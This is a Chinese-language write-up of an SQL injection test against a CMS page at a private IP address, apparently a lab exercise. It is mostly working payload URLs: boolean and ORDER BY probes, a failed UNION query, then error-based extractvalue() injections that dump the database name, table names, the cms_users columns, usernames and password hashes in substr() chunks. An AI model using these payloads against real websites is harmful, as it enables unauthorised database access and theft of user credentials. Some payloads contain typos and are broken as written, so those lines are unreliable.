记录一次对网站http://172.18.199.174/cms/的sql注入测试:
页面http://172.18.199.174/cms/show.php?id=37
1、通过发现,在本页面链接处存在注入点id,通过测试,判断输入类型是字符型还是整型
?id=37'
?id=37
通过发现,属于数字型的注入。接着运用逻辑运算 and测试,发现存在布尔型注入。(这里不详细说明)
?id=37 and 1 = 1
?id=37 and 1 = 2
2、通过查找利用order by 发现存在
?id=37 order by 15
?id=37 order by 16
接着通过构建联合查询发现联合查询被过滤掉。
?id=-37UNION SELECT 1,2,graoup_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15from information_schema,tables wheretable_schema = database()--+
所以联合查询这条路行不通,通过以上测试发现,本网站存在数据库报错,于是我们开始另一种方式,构建报错查询。
3、构建报错查询。查询数据库名cms:
?id=-37%20and%20extractvalue(1,concat(%27^%27,(database()),%27^%27))%20--+
4、爆表由于报错的长度限制,所有我们利用limi 的特性采取一组一组输出的形式:
?id=-37%20and%20extractvalue(1,concat(%27^%27,(select%20concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%20database()%20limit%200,1),%27^%27))%20--+
通过这种形式,我们爆出了所有表的名字:cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page, cms_users
5、爆字段,通过上次爆出的表,发现了一个貌似管理员的表cms_users,于是我们以此表为例,展开对该表的字段爆破:
?id=-37 and extractvalue(1,concat('^',(select group_concat(column_name)from information_schema.columns where table_name =0x636d735f7573657273 andtable_schema = database() limit 0,1),'^')) --+
于是得到了该表的存在三个字段userid,username,password
6、得到了以上信息,我们就可以对该数据表内容进行获取了,于是我们构建sql语句来获取数据表值,由于对报错信息长度的限制,于是我们采取分段分组的形式来分批获取该表数据。
?id=-37%20and%20extractvalue(1,concat(%27^%27,(select%20group_concat(username)%20from%20cms.cms_users),%27^%27))%20--+
改密码字段的值是加密后的,长度明显大于显示长度,于是利用substr()函数采取截取的手段获取完成加密密码;
?id=-37%20and%20extractvalue(1,concat(%27^%27,(select%20substr(concat(password),1,20)%20from%20cms.cms_users%20limit%200,1),%27^%27))%20--+获取前20个密码加密后的字符
?id=-37%20and%20extractvalue(1,concat(%27^%27,(select%20substr(concat(password),21)%20from%20cms.cms_users%20limit%200,1),%27^%27))%20--+从第21个开始,截取剩余字符串
以此类推,获取所有加密字符串
7、至此,获取了该表的所有信息。
领取 专属20元代金券
Get大咖技术交流圈